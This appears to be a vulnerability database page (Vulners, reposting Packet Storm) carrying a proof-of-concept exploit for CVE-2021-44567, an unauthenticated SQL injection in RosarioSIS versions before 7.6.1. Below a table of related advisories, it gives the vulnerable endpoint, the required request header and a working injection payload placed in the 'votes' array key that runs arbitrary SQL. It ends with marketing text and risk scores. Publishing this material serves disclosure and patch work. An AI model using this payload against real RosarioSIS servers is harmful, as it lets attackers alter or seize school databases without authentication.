Vulners
Lucene search
๐ RosarioSIS SQL Injection
๐๏ธย 11 Apr 2025ย 00:00:00Reported byย CodeSecLabTypeย 
ย packetstorm๐ย packetstorm.news๐ย 271ย Views
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
 | CVE-2021-44567 | 24 Feb 202218:21 | โ | circl |
 | RosarioSis SQLๆณจๅ ฅๆผๆด | 24 Feb 202200:00 | โ | cnnvd |
 | CVE-2021-44567 | 22 Feb 202220:16 | โ | cve |
 | CVE-2021-44567 | 22 Feb 202220:16 | โ | cvelist |
 | RosarioSIS 7.6 - SQL Injection | 11 Apr 202500:00 | โ | exploitdb |
 | EUVD-2022-0900 | 3 Oct 202520:07 | โ | euvd |
 | SQL injection in francoisjacquet/rosariosis | 25 Feb 202200:01 | โ | github |
 | CVE-2021-44567 | 24 Feb 202215:15 | โ | nvd |
 | GHSA-82RR-MQ4R-P4R3 SQL injection in francoisjacquet/rosariosis | 25 Feb 202200:01 | โ | osv |
 | Sql injection | 24 Feb 202215:15 | โ | prion |
10
# Exploit Title: [RosarioSIS < 7.6.1 Unauthenticated SQL Injection via votes Parameter in PortalPollsNotes.fnc.php]
# Date: [2024-10-26]
# Exploit Author: [CodeSecLab]
# Vendor Homepage: [https://gitlab.com/francoisjacquet/rosariosis]
# Software Link: [https://gitlab.com/francoisjacquet/rosariosis]
# Version: [7.6]
# Tested on: [Ubuntu Windows]
# CVE : [CVE-2021-44567]
PoC:
POST /ProgramFunctions/PortalPollsNotes.fnc.php HTTP/1.1
X-Requested-With: XMLHttpRequest
constrain and some flow:
isset( $_POST['votes'] ) && is_array( $_POST['votes'] ) && $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest' && foreach ( (array) $_POST['votes'] as $poll_id => $votes_array ) && if ( ! empty( $votes_array ) ) && PortalPollsVote( $poll_id, $votes_array )
votes['; CREATE TABLE aaa(t text) --]=1Data
Build on a solid foundation withย Vulners data
Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data
Api
Power your application withย Vulners API
The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access
App
Assess and manage vulnerabilities withย Vulnersย tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
11 Apr 2025 00:00Current
9.6High risk
Vulners AI Score9.6
CVSS 27.5
CVSS 3.19.8
EPSS0.12478